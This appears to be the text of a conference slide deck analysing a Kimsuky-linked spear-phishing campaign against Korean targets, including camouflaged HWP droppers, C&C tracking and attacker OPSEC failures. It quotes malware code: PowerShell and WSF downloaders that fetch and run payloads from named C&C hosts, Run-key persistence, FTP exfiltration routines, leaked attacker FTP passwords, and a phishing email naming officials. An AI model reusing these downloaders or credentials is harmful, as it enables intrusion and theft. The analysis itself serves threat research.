| Logger                | 5   | Logging          | Logging for Phishing Target Information                    |
| Malicious HWP         | 6   | Dropper          | Malicious HWP Documents                                                  |
| Camouflaged HWP       | 7   | Dropper          | Camouflaged HWP Documents (Ex. sfx, exe ...)                         |
| Script                | 8   | Downloader       | Download additional malware and logging  
  (Ex. *.vbs, *.wsf, *.jse, *.ps1)                                        |
| Info Stealer          | 9   | C&C / DLL / FTP  | Steal Information of Infected Target and Download additional malware  
  (Ex. Some case using FTP)                                           |
Tracking Malware & Monitoring C&C

- **[CASE 1-2] Camouflaged as HWP documents**

  - **SFX**

<table>
<thead>
<tr>
<th>Name</th>
<th>Compressed Size</th>
<th>Original Size</th>
<th>File Type</th>
<th>Last Modified</th>
</tr>
</thead>
<tbody>
<tr>
<td>1.hwp</td>
<td>308,980</td>
<td>322,560</td>
<td>hwp</td>
<td>2019-03-07 오후 6:03:26</td>
</tr>
<tr>
<td>1.vbs</td>
<td>2,019</td>
<td>4,759</td>
<td>.vbs</td>
<td>2019-02-28 오후 4:05:48</td>
</tr>
</tbody>
</table>

Setup=1.hwp
Setup=wscript.exe 1.vbs
TempMode
Silent=1
Overwrite=1

×: 설명 아래에 자동실행(SFX) 스크립트 명령어가 포함되어 있습니다
Tracking Malware & Monitoring C&C

- [CASE 1-2] Camouflaged as HWP documents

- Flow

```
111.scr  
(Camouflaged as HWP documents)  
2) Execute Malicious Script  
  
1.vbs  
(Malicious Script)  
3) BASE 64 Decoding  
  
1.hwp  
(Normal HWP Documents)  
1) Execute Normal HWP Documents  

vb  

4) Execute Decoded Powershell Script  

C&C Server  
(primary-help.esy.es)  
5) Download Malware from C&C and Execute  

Powershell Script  
```
[CASE 1-2] Camouflaged as HWP documents

- **Powershell – Set Registry**
  - **Path:** `\Windows\CurrentVersion\Screensavers`
  - **Name:** `ScreenRibbonsDomain`
  - **Value:** `primary-help.esy.es`

```powershell
$server = 'primary-help.esy.es';
$regPath = 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Screensavers';
if(!(Test-Path $regPath)) { New-Item -Path $regPath -Force | Out-Null; }
set-itemproperty -path $regPath -name 'ScreenRibbonsDomain' -value $server -propertytype 'String' -force | Out-Null;  # Set Registry Value

/window_ = $env:windir;
$temp_ = $env:tmp;
$dm0 = 'cmd.exe';
$path1 = $env:tmp + '\ttypmsros.txt';
if (Test-Path $path1) { Remove-Item $path1 };  # Additional malware
$url = 'http://' + $server + '/Est/down/IERestinstal.a';
$path2 = $wndir + '\..\ ProgramData';
```
### Tracking Malware & Monitoring C&C

#### [CASE 1-2] Camouflaged as HWP documents

**Powershell – Download malware and Execute**

```powershell
$Encrypted = ConvertTo-SecureString $Secure1 -key $key;
$BSTR = [System.Runtime.InteropServices.Marshal]:SecureStringToBSTR($Encrypted);
$ldfs1 = [System.Runtime.InteropServices.Marshal]:PtrToStringAuto($BSTR) -replace '_tmp_','_tmp_';
$ldf1 = $ldfs1 -replace '_url_','$url';
```

```powershell
start-process -WINDoWsStyle hIdDeN $dm0 $ldf1;
while (!((Test-Path $path1))) { Start-Sleep 10; }
$ldf2 = '/c rundll32 ' + $path1 + ', EntryFunc1';
```

```powershell
start-process -WINDoWsStyle hIdDeN $dm0 $ldf2
```

---

<table>
<thead>
<tr>
<th>Command</th>
<th>[Contents]</th>
</tr>
</thead>
<tbody>
<tr>
<td>cmd.exe /c bitsadmin /transfer notepadwork /download /priority normal <a href="http://primary-help%5B%5D.esy.es/Est/down/IEReinstal.a">http://primary-help[].esy.es/Est/down/IEReinstal.a</a> C:\Users\IEUser\AppData\Local\Temp\typsmsros.txt</td>
<td>Download additional malware from C&amp;C(primary-help[].esy.es) and Save file(typsmsros.txt) at %TEMP% But, Couldn't be download malware at the time of analysis (19.03.14.)</td>
</tr>
<tr>
<td>%TEMP%\typsmsros.txt</td>
<td>Execute malware(typsmsros.txt) ExportName : EntryFunc1</td>
</tr>
</tbody>
</table>
A CRIMINAL ALWAYS RETURNS TO THE SCENE OF THE CRIME
[CASE 1-2] Camouflaged as HWP documents

- Return! (2019.04.01.)
[CASE 1-2] Camouflaged as HWP documents

- Return! (2019.04.01.)
Tracking Malware & Monitoring C&C

- [CASE 1-2] Camouflaged as HWP documents
  - Return! (2019.04.01.)
    - Directory Listing → Mailer +_+

```
# 01-change-c2
channel

Index of /  APP  10:02
Kimsuky C2 - http://primary-help.esy.es/mail.php

primary-help.esy.es

Index of /
```

- `mail.php`
- `mail_ok.php`
Index of /

- mail.php
- mail_ok.php
  - Mailer – shape & core
Index of /

- mail.php
- mail_ok.php

- Mailer – shape & core
Index of /

- mail.php
- mail_ok.php

- Mailer – shape & core
Tracking Malware & Monitoring C&C

- **[CASE 1-2] Camouflaged as HWP documents**
  - Self-Testing using My Email
Tracking Malware & Monitoring C&C

- **[CASE 1-2] Camouflaged as HWP documents**
  - **Self-Testing**
    - using My Email
    - => Sending normally
Tracking Malware & Monitoring C&C

- [CASE 1-2] Camouflaged
  - Check Email
    (Sent by mailer)

---

```
X-MailChannels-SenderId: hostingerinternationalltd|x-authuser|u372938130@srv164.main-hosting.eu
X-MailChannels-Auth-Id: hostingerinternationalltd
X-Scare-Bored: 7ce5a7c0de5d0b0_1554084780240_3304895434
X-MC-Loop-Signature: 1554084780239:1219428380
X-MC-Ingress-Time: 1554084780239
Received: from u372938130 by srv164.main-hosting.eu with local (Exim 4.90_1)
          (envelope-from <u372938130@srv164.main-hosting.eu>)
          id 1hAmRV-0019kp-NZ
          for jack2@fsec.or.kr; Mon, 01 Apr 2019 02:12:57 +0000
To: "=?UTF-8?B?cmVjdg==?= " <jack2@fsec.or.kr>
Subject: =?UTF-8?B?c2VuZCAyIHNJlY3Y=?=
```
[CASE 1-2] Camouflaged as HWP documents

- **Check Email**
  - Attachment from Daum: 시사회.zip (시사회.vbs)
  - **Web Beacon**: hxxp://[C&C]/_log/reading.php?uid=[E-mail]
Tracking Malware & Monitoring C&C

- **OPSEC FAIL CASES**
  - 1) Directory Listing
    - => Detect New Malware & Mailer
Tracking Malware & Monitoring C&C

- **OPSEC FAIL CASES**
  - 1) Directory Listing: Detect New Malware & Mailer
  - 2) Leaked FTP Access Information
# Related Toolset

<table>
<thead>
<tr>
<th>Name</th>
<th>No.</th>
<th>Type (Tag)</th>
<th>Contents</th>
</tr>
</thead>
<tbody>
<tr>
<td>Mailer (shape)</td>
<td>1</td>
<td>Mailer</td>
<td>Mailer (just shape)</td>
</tr>
<tr>
<td>Mailer (core)</td>
<td>2</td>
<td>Mailer</td>
<td>Mailer (actual function)</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>1) Attachment malware</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>2) Link to phishing page for account takeover</td>
</tr>
<tr>
<td>Beaconer</td>
<td>3</td>
<td>Web-Beacon</td>
<td>Beacon to check whether mail is being viewed</td>
</tr>
<tr>
<td>Phisher</td>
<td>4</td>
<td>Account Stealer</td>
<td>Phishing Toolkit(lod) Phishing Page for Account Steal</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Phishing</td>
<td></td>
</tr>
<tr>
<td>Logger</td>
<td>5</td>
<td>Logging</td>
<td>Logging for Phishing Target Information</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Phishing</td>
<td></td>
</tr>
<tr>
<td>Malicious HWP</td>
<td>6</td>
<td>Dropper</td>
<td>Malicious HWP Documents</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Sprear-Phishing</td>
<td></td>
</tr>
<tr>
<td>Camouflaged HWP</td>
<td>7</td>
<td>Dropper</td>
<td>Camouflaged HWP Documents (Ex. sfx, exe ...)</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Sprear-Phishing</td>
<td></td>
</tr>
<tr>
<td>Script</td>
<td>8</td>
<td>Downloader</td>
<td>Download additional malware and logging</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Logging</td>
<td>(Ex. *.vbs, *.wsf, *.jse, *.ps1)</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Logging</td>
<td></td>
</tr>
<tr>
<td>Info Stealer</td>
<td>9</td>
<td>C&amp;C / DLL / FTP</td>
<td>Steal Information of Infected Target and Download additional malware</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Downloader</td>
<td>(Ex. Some case using FTP)</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Logging</td>
<td></td>
</tr>
</tbody>
</table>
## Related Toolset

<table>
<thead>
<tr>
<th>Name</th>
<th>No.</th>
<th>Type (Tag)</th>
<th>Contents</th>
</tr>
</thead>
<tbody>
<tr>
<td>Mailer (shape)</td>
<td>1</td>
<td>Mailer</td>
<td>Mailer (just shape)</td>
</tr>
<tr>
<td>Mailer (core)</td>
<td>2</td>
<td>Mailer</td>
<td>Mailer (actual function)</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>1) Attachment malware</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>2) Link to phishing page for account takeover</td>
</tr>
<tr>
<td>Beaconer</td>
<td>3</td>
<td>Web-Beacon</td>
<td>Beacon to check whether mail is being viewed</td>
</tr>
<tr>
<td>Phisher</td>
<td>4</td>
<td>Account Stealer</td>
<td>Phishing Toolkit(lod)</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Phishing</td>
<td>Phishing Page for Account Steal</td>
</tr>
<tr>
<td>Logger</td>
<td>5</td>
<td>Logging</td>
<td>Logging for Phishing Target Information</td>
</tr>
<tr>
<td>Malicious HWP</td>
<td>6</td>
<td>Dropper</td>
<td>Malicious HWP Documents</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Sprear-Phishing</td>
<td></td>
</tr>
<tr>
<td>Camouflaged HWP</td>
<td>7</td>
<td>Dropper</td>
<td>Camouflaged HWP Documents</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Sprear-Phishing</td>
<td>(Ex. sfx, exe ...)</td>
</tr>
<tr>
<td>Script</td>
<td>8</td>
<td>Downloader</td>
<td>Download additional malware and logging</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Logging</td>
<td>(Ex. *.vbs, *.wsf, *.jse, *.ps1)</td>
</tr>
<tr>
<td>Info Stealer</td>
<td>9</td>
<td>C&amp;C / DLL / FTP</td>
<td>Steal Information of Infected Target</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Downloader</td>
<td>and Download additional malware</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Logging</td>
<td>(Ex. Some case using FTP)</td>
</tr>
</tbody>
</table>
[CASE 2] Leaked FTP Access Information

Malicious Script (Delivered-Email.wsf)

Looks like a new #APT, which aims Korea?

C2: user-protect-center[.]pe[.]hu - 185.224.137[.]164
(was used before for the spreading of #njRAT)
PL: IEService.dat - Very low detection rate (6/68)

Requests for different final payload or update for every user

app.any.run/tasks/680af12b...
Tracking Malware & Monitoring C&C

- [CASE 2] Leaked FTP Access Information
  - Malicious Script (Delivered-Email.wsf)
    - 1) Additional Malware download from C&C

```javascript
var docfile = "Delivered-Email.eml";
var zipfile = "IEService.";
var zf_ext = "rar"
var runfile = "IEService.dat";
var password = "123456"
var root = "http://user-protect-center.pe.hu/";
```
Tracking Malware & Monitoring C&C

- [CASE 2] Leaked FTP Access Information
  - Malicious Script (Delivered-Email.wsf)
    - 1) Additional Malware download from C&C
    - 2) Open Email (Normal Email)
[CASE 2] Leaked FTP Access Information

3) Execute Malware (Info Stealer)

```c
SHGetFolderPathA(0, 26, 0, 0, &pszPath);
strcat_s(&pszPath, 0x104u, "\IEUpdate");
CreateDirectoryA(&pszPath, 0);
GetModuleFileNameA(hModule, &filename, 0x104u);
sprintf_s(&newFilename, 0x104u, "%s\%, &pszPath, "IEService.dat");
CopyFileA(&filename, &newFilename, 0);
GetSystemDirectoryA(&buffer, 0x104u);
sprintf_s(&data, 0x208u, "%s\rundll32.exe \%s\%, %s", &buffer, &pszPath, "IEService.dat", "IECheckUpdate");
if ( !RegOpenKeyExA(HKEY_CURRENT_USER, "SOFTWARE\Microsoft\Windows\CurrentVersion\Run", 0, 0xF003Fu, &phkResult) )
{
    RegSetValueExA(phkResult, "IEService", 0, 1u, &data, strlen(&data));
    RegCloseKey(phkResult);
}
```
[CASE 2] Leaked FTP Access Information

Malicious Script (Delivered-Email.wsf)

1) Additional Malware download from C&C
2) Open Email (Normal file)
3) Execute Malware (Info Stealer)
4) FTP Upload

```csharp
v14 = InternetOpenA("User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko", 0, 0, 0, 0);
if (!v14 )
    return 0;
v15 = InternetConnectA(v14, &szServerName, 0x15u, szUserName, szPassword, 1u, 0x8000000u, 0);
v16 = v15;
if ( v15 )
{
    if ( FtpSetCurrentDirectoryA(v15, "log") )
    {
        if ( FtpGetFileA(v16, lpszRemoteFile, lpszNewFile, 0, 0, 0x80000002, 0) )
        {
            v20 = 1;
            FtpDeleteFileA(v16, lpszRemoteFile);
        }
    }
```
Tracking Malware & Monitoring C&C

- [CASE 2] Leaked FTP Access Information
  - OPSEC FAIL!
  - 4) FTP Upload

```
220 FTP Server ready.
USER u428325809
331 Password required for u428325809
PASS victory123!@#
230 User u428325809 logged in
CWD log
250 CWD command successful
TYPE I
200 Type set to I
PASV
227 Entering Passive Mode (185,224,137,164,140,72).
SIZE 7cd9e0e6_IEUpdate64
```

```c
v14 = InternetOpenA("User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko", 0, 0, 0, 0);
if ( !v14 )
    return 0;
v15 = InternetConnectA(v14, &szServerName, 0x15u, szUserName, szPassword, 1u, 0x8000000u, 0);
v16 = v15;
if ( v15 )
{
    if ( FtpGetCurrentDirectoryA(v15, "log") )
    {
        if ( FtpGetFileA(v16, lpszRemoteFile, lpszNewFile, 0, 0, 0x80000002, 0) )
        {
            v20 = 1;
            FtpDeleteFileA(v16, lpszRemoteFile);
        }
    }
```
[CASE 2] Leaked FTP Access Information

- C&C : FTP Upload
  - Free Hosting Service (Hostinger)
  - Compromised website in South Korea
[CASE 2] Leaked FTP Access Information

- **OPSEC FAIL!**

- 4) **FTP Upload**

---

```
220 FTP Server ready.
USER u428325809
331 Password required for u428325809
PASS victory123!@#  
230 User u428325809 logged in
CWD log
250 CWD command successful
TYPE I
200 Type set to I
PASV
227 Entering Passive Mode (185,224,137,164,140,72).
SIZE 7cd9e0e6_IEUpdate64
```
[CASE 2] Leaked FTP Access Information

OPSEC FAIL!

4) FTP Upload

```
220 FTP Server ready.
USER u428325809
331 Password required for u428325809
PASS victory123!@#
230 User u428325809 logged in
cwd log
250 CWD command successful
TYPE I
200 Type set to I
PASV
227 Entering Passive Mode (185,224,137,164,140,72).
SIZE 7cd9e0e6_IEUpdate64
PASS rhdwn111
230 User u487458083.oeks39402.890m.com logged in
cwd InstF
250 CWD command successful
TYPE I
200 Type set to I
PASV
227 Entering Passive Mode (153,92,6,159,140,4).
SIZE ChromInst
550 ChromInst: No such file or directory
RETR ChromInst
550 ChromInst: No such file or directory
```
### [CASE 2] Leaked FTP Access Information

**OPSEC FAIL!**

- **4) FTP Upload**

<table>
<thead>
<tr>
<th>FTP Server Response</th>
<th>Details</th>
</tr>
</thead>
<tbody>
<tr>
<td>220 FTP Server ready.</td>
<td></td>
</tr>
<tr>
<td>USER u428325809</td>
<td></td>
</tr>
<tr>
<td>331 Password required for u428325809</td>
<td></td>
</tr>
<tr>
<td>PASS victory123!@#</td>
<td></td>
</tr>
<tr>
<td>230 User u428325809 logged in</td>
<td></td>
</tr>
<tr>
<td>CWD log</td>
<td></td>
</tr>
<tr>
<td>250 CWD command successful</td>
<td></td>
</tr>
<tr>
<td>TYPE I</td>
<td></td>
</tr>
<tr>
<td>200 Type set to I</td>
<td></td>
</tr>
<tr>
<td>PASV</td>
<td></td>
</tr>
<tr>
<td>227 Entering Passive Mode (185,224,137,164,140,72).</td>
<td></td>
</tr>
<tr>
<td>SIZE 7cd9e0e6_IEUpdate64</td>
<td></td>
</tr>
<tr>
<td>220 FTP Server ready.</td>
<td></td>
</tr>
<tr>
<td>USER u487458083.oeks39402.890m.com</td>
<td></td>
</tr>
<tr>
<td>331 Password required for u487458083.oeks39402.890m.com</td>
<td></td>
</tr>
<tr>
<td>PASS rhdwn111</td>
<td></td>
</tr>
<tr>
<td>230 User u487458083.oeks39402.890m.com logged in</td>
<td></td>
</tr>
<tr>
<td>CWD InstF</td>
<td></td>
</tr>
<tr>
<td>250 CWD command successful</td>
<td></td>
</tr>
<tr>
<td>TYPE I</td>
<td></td>
</tr>
<tr>
<td>200 Type set to I</td>
<td></td>
</tr>
<tr>
<td>PASV</td>
<td></td>
</tr>
<tr>
<td>227 Entering Passive Mode (153,92,6,15</td>
<td></td>
</tr>
<tr>
<td>SIZE ChromInst</td>
<td></td>
</tr>
<tr>
<td>550 ChromInst: No such file or directory</td>
<td></td>
</tr>
<tr>
<td>RETR ChromInst</td>
<td></td>
</tr>
<tr>
<td>550 ChromInst: No such file or directory</td>
<td></td>
</tr>
<tr>
<td>STOR retry</td>
<td></td>
</tr>
<tr>
<td>150 Opening BINARY mode data connection for retry</td>
<td></td>
</tr>
<tr>
<td>221 Closing data connection</td>
<td></td>
</tr>
</tbody>
</table>
# Tracking Malware & Monitoring C&C

- **[CASE 2] Leaked FTP Access Information**
  - **Free Hosting Service (Hostinger)**
  - **Love victory & rhdwn (공주 -> princess)**

<table>
<thead>
<tr>
<th>Date</th>
<th>C&amp;C C&amp;C C&amp;C</th>
<th>Login ID</th>
<th>Password</th>
<th>Contents</th>
</tr>
</thead>
<tbody>
<tr>
<td>2019/04/03</td>
<td>user-daum-center[.]pe.hu</td>
<td>u859027282</td>
<td>victory123!@#</td>
<td>Same Password (1)</td>
</tr>
<tr>
<td>2019/04/09</td>
<td>user-protect-center[.]pe.hu</td>
<td>u428325809</td>
<td>victory123!@#</td>
<td>Same Password (1)</td>
</tr>
<tr>
<td>2019/04/17</td>
<td>nid-protect-team[.]pe.hu</td>
<td>u621356999</td>
<td>victory123!@#</td>
<td>Same Password (1)</td>
</tr>
<tr>
<td>2019/05/15</td>
<td>oeks39402[.]890m.com</td>
<td>u487458083</td>
<td>rhdwn111</td>
<td>Same Password (2)</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>Same UID</td>
</tr>
<tr>
<td>2019/05/16</td>
<td>nid-management-team[.]890m.com</td>
<td>u142759695</td>
<td>victory123!@#</td>
<td>Same Password (1)</td>
</tr>
<tr>
<td>2019/05/27</td>
<td>naiei-aldiel[.]16mb.com</td>
<td>u487458083</td>
<td>Victorious!@#</td>
<td>Similar Password (1)</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>Same UID</td>
</tr>
<tr>
<td>2019/06/07</td>
<td>vkcxvkweo[.]96.lt</td>
<td>u487458083</td>
<td>rhdwn111</td>
<td>Same Password (2)</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>Same UID</td>
</tr>
</tbody>
</table>
### CASE 2: Leaked FTP Access Information

**Free Hosting Service (Hostinger)**

- **Love **victory** -> Webshell Password**

<table>
<thead>
<tr>
<th>Date</th>
<th>Aa C&amp;C</th>
<th>Login ID</th>
<th>Password</th>
<th>Contents</th>
</tr>
</thead>
<tbody>
<tr>
<td>2019/04/03</td>
<td>user-daum-center[.]pe.hu</td>
<td>u859027282</td>
<td>victory123!@#</td>
<td>Same Password (1)</td>
</tr>
<tr>
<td>2019/04/09</td>
<td>user-protect-center[.]pe.hu</td>
<td>u428325809</td>
<td>victory123!@#</td>
<td>Same Password (1)</td>
</tr>
<tr>
<td>2019/04/17</td>
<td>nid-protect-team[.]pe.hu</td>
<td>u621356999</td>
<td>victory123!@#</td>
<td>Same Password (1)</td>
</tr>
<tr>
<td>2019/05/15</td>
<td>oeks39402[.]890m.com</td>
<td>u487458083</td>
<td>rhdwn111</td>
<td>Same Password (2) Same UID</td>
</tr>
<tr>
<td>2019/05/16</td>
<td>nid-management-team[.]890m.com</td>
<td>u142759695</td>
<td>victory123!@#</td>
<td>Same Password (1)</td>
</tr>
</tbody>
</table>
Tracking Malware & Monitoring C&C

- **OPSEC FAIL CASES**
  - 1) Directory Listing: Detect New Malware & Mailer
  - 2) Leaked FTP Access Information
    => **Get Server-side toolkit**
Tracking Malware & Monitoring C&C

- **OPSEC FAIL CASES**
  1. Directory Listing: Detect New Malware & Mailer
  2. Leaked FTP Access Information: Get Server toolkit
  3. File Download vulnerability
<table>
<thead>
<tr>
<th>Name</th>
<th>No.</th>
<th>Type (Tag)</th>
<th>Contents</th>
</tr>
</thead>
<tbody>
<tr>
<td>Mailer (shape)</td>
<td>1</td>
<td>Mailer</td>
<td>Mailer (just shape)</td>
</tr>
<tr>
<td>Mailer (core)</td>
<td>2</td>
<td>Mailer</td>
<td>Mailer (actual function)</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>1) Attachment malware</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>2) Link to phishing page for account takeover</td>
</tr>
<tr>
<td>Beaconer</td>
<td>3</td>
<td>Web-Beacon</td>
<td>Beacon to check whether mail is being viewed</td>
</tr>
<tr>
<td>Phisher</td>
<td>4</td>
<td>Account Stealer</td>
<td>Phishing Toolkit(lod) Phishing Page for Account Steal</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Phishing</td>
<td></td>
</tr>
<tr>
<td>Logger</td>
<td>5</td>
<td>Logging</td>
<td>Logging for Phishing Target Information</td>
</tr>
<tr>
<td>Malicious HWP</td>
<td>6</td>
<td>Dropper</td>
<td>Malicious HWP Documents</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Sppear-Phishing</td>
<td></td>
</tr>
<tr>
<td>Camouflaged HWP</td>
<td>7</td>
<td>Dropper</td>
<td>Camouflaged HWP Documents (Ex. sfx, exe ...)</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Sppear-Phishing</td>
<td></td>
</tr>
<tr>
<td>Script</td>
<td>8</td>
<td>Downloader</td>
<td>Download additional malware and logging</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Logging</td>
<td>(Ex. *.vbs, *.wsf, *.jse, *.ps1)</td>
</tr>
<tr>
<td>Info Stealer</td>
<td>9</td>
<td>C&amp;C / DLL / FTP</td>
<td>Steal Information of Infected Target and Download additional malware</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Downloader</td>
<td>(Ex. Some case using FTP)</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Logging</td>
<td></td>
</tr>
<tr>
<td>Name</td>
<td>No.</td>
<td>Type (Tag)</td>
<td>Contents</td>
</tr>
<tr>
<td>--------------------</td>
<td>-----</td>
<td>---------------------</td>
<td>--------------------------------------------------------------------------</td>
</tr>
<tr>
<td>Mailer (shape)</td>
<td>1</td>
<td>Mailer</td>
<td>Mailer (just shape)</td>
</tr>
<tr>
<td>Mailer (core)</td>
<td>2</td>
<td>Mailer</td>
<td>Mailer (actual function)</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>1) Attachment malware</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>2) Link to phishing page for account takeover</td>
</tr>
<tr>
<td>Beaconer</td>
<td>3</td>
<td>Web-Beacon</td>
<td>Beacon to check whether mail is being viewed</td>
</tr>
<tr>
<td>Phisher</td>
<td>4</td>
<td>Account Stealer</td>
<td>Phishing Toolkit(lod) Phishing Page for Account Steal</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Phishing</td>
<td></td>
</tr>
<tr>
<td>Logger</td>
<td>5</td>
<td>Logging</td>
<td>Logging for Phishing Target Information</td>
</tr>
<tr>
<td>Malicious HWP</td>
<td>6</td>
<td>Dropper</td>
<td>Malicious HWP Documents</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Sppear-Phishing</td>
<td></td>
</tr>
<tr>
<td>Camouflaged HWP</td>
<td>7</td>
<td>Dropper</td>
<td>Camouflaged HWP Documents (Ex. sfx, exe ...)</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Sppear-Phishing</td>
<td></td>
</tr>
<tr>
<td>Script</td>
<td>8</td>
<td>Downloader</td>
<td>Download additional malware and logging (Ex. *.vbs, *.wsf, *.jse, *.ps1)</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Logging</td>
<td></td>
</tr>
<tr>
<td>Info Stealer</td>
<td>9</td>
<td>C&amp;C / DLL / FTP</td>
<td>Steal Information of Infected Target and Download additional malware</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Downloader</td>
<td>(Ex. Some case using FTP)</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Logging</td>
<td></td>
</tr>
</tbody>
</table>
Tracking Malware & Monitoring C&C

- [CASE 3] File Download vulnerability
- EML – HWP Attachment

이경주

[외교부] 일본 관련 일일동향
받는 사람: 이진범,
답장 받는 사람: 이경주

[Ministry of Foreign Affairs]
Japan-related daily trends

2019년 3월 12일 오후 5:13

 일반 첨부파일 1개 (15kB)

[ HWP ] 20190312 일본 관련 일일동향(완).hwp(5kB)

동북아 1과 이경주 연구원입니다.
자료 송부드리니 업무 참고바랍니다^^

http://member-authorize.com/security/downloads/download.php?
fileName=20190312%20%EC%9D%BC%EB%B3%BA%20%EA%B4%80%EB%A0%A8%20%EC%9D%BC%EB%8F%99%ED%96%A5(%EC%99%84).hwp
Tracking Malware & Monitoring C&C

- **[CASE 3] File Download vulnerability**
  - **EML – HWP Attachment**
  - **Distribution Server:** member-authorize[.]com

---

[Image of a KOR-EN email snippet]

**[외교부] 일본 관련 일일동향**
[Ministry of Foreign Affairs]
Japan-related daily trends

2019년 3월 12일 오후 5:13

 일반 첨부파일 1개 (15KB)

20190312 일본 관련 일일동향(완).hwp (5KB)

동북아 1과 이경주 연구원입니다.
자료 송부드리니 업무 참고바랍니다^^

http://member-authorize.com/security/downloads/download.php?
fileName=20190312%EC%9D%BC%EB%B3%BB%20%EA%B4%80%EB%A0%A8%20%EC%9D%BC%EC%9D%BC%EB%8F%99%ED%96%A5(%EC%99%84).hwp

/155
[CASE 3] File Download vulnerability

- EML – HWP Attachment

- Distribution Server: member-authorize[.]com

이경주

[외교부] 일본 관련 일일동향
받는 사람: 이진범,
답장 받는 사람: 이경주

[Ministry of Foreign Affairs]
Japan-related daily trends

http://member-authorize.com/security/downloads/download.php?
fileName=20190312%20%EC%9D%BC%EB%B3%BD%20%EA%B4%80%EB%A0%A8%20%EC%9D%BC%EB%8F%99%ED%96%A5(%EC%99%84).hwp
[CASE 3] File Download vulnerability

1) HWP

- EPS (Encapsulated Postscript),

Summary Information (X)

http://member-authorize.com/security/downloads/download.php?fileName=20190312%EC%9D%BC%EB%B3%B8%20%EA%B4%80%EB%A0%A8%20%EC%9D%BC%EC%9D%BC%EB%8F%99%ED%96%A5(%EC%99%84).hwp
[CASE 3] File Download vulnerability

2) Powershell

Get Malicious Script from ddlove[.]kr

```powershell
powershell "echo '<job>
<script>
  try {
    x = new ActiveXObject("Microsoft.XMLHTTP");
    x.Open("GET","http://ddlove.kr/bbs/data/1",0);
    x.Send();
    eval(x.responseText);
  }catch(e){;}
</script>
</job>'|Out-File c:\programdata\1.wsf;
Invoke-Item c:\programdata\1.wsf"
```
[CASE 3] File Download vulnerability

3) 1.wsf

(a) Set var
(b) Check Extract Util – WinRAR / ALZip
(c) Check Response
(d) Save File & Extract
(e) or Save File & Decoding
(f) Execute file
Tracking Malware & Monitoring C&C

if (fs.FileExists(folder + runfile))
{
    WScript.Sleep(2000);
    objShell.Run("powershell.exe -windowstyle hidden rundll32 " + folder + runfile + ", GrapHouse", 0, true);
    try{
        log.open("GET", "http://ddlove.kr/bbs/data/board.php?v=f", false);
        log.send();
    }
    objShell.Run("powershell.exe -windowstyle hidden rundll32 " + folder + runfile + ", GrapHouse", 0, true);

rdata:1001A9F0 ; Export Ordinals Table for Freedom.dll
rdata:1001A9F0 ;
rdatal:1001A9F0 word_1001A9F0 dw 0 ; DATA XREF: .rdata:1001A9E4+o
rdatal:1001A9F2 aFreedomDll db 'Freedom.dll',0 ; DATA XREF: .rdata:1001A9CC+o
rdatal:1001A9FE aGraphouse db 'GrapHouse',0 ; DATA XREF: .rdata:off_1001A9EC+o

- (f) Execute file
[CASE 3] File Download vulnerability

4) Freedom.dll

- Timestamp: Tue Jan 08 09:02:00 2019
- Export: GrapHouse
  - Check Env (32/64)
    - 64bit: /bbs/data/font/exts.fmt
  - Process Hollwing (explorer.exe)
    - [SND]: /register.php?
      WORD=com_XXXXXXXX&NOTE=
    - [GET]: /bbs/data/ariaK[T]_XXXXXXXX
    - [DEL]: /join.php?file=
### Process Hollwing (explorer.exe)

- **[SND]**: `/register.php?`
  
  `WORD=com_XXXXXXXXX&NOTE=`

- **[GET]**: `/bbs/data/ariaK[T]_XXXXXXXX`

- **[DEL]**: `/join.php?file=`

---

```
GET /bbs/data/register.php?
WORD=com_080027F7ABAB&NOTE=QnVpbGQgTnVtYmVyIDogNzYwMSwgTWFqb3IgdmVyc2lvbiA6IDYsIE1pbnRlZmljZnJhcnNpb24gOiAxLCBCaXQgOiAwLjAK HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.101 Safari/537.36,gzip(gfe),gzip(gfe)
Host: ddlove.kr
Cache-Control: no-cache

HTTP/1.1 200 OK
Date: Thu, 14 Mar 2019 01:29:24 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Content-Length: 160
Connection: close
Content-Type: text/html; charset=UTF-8

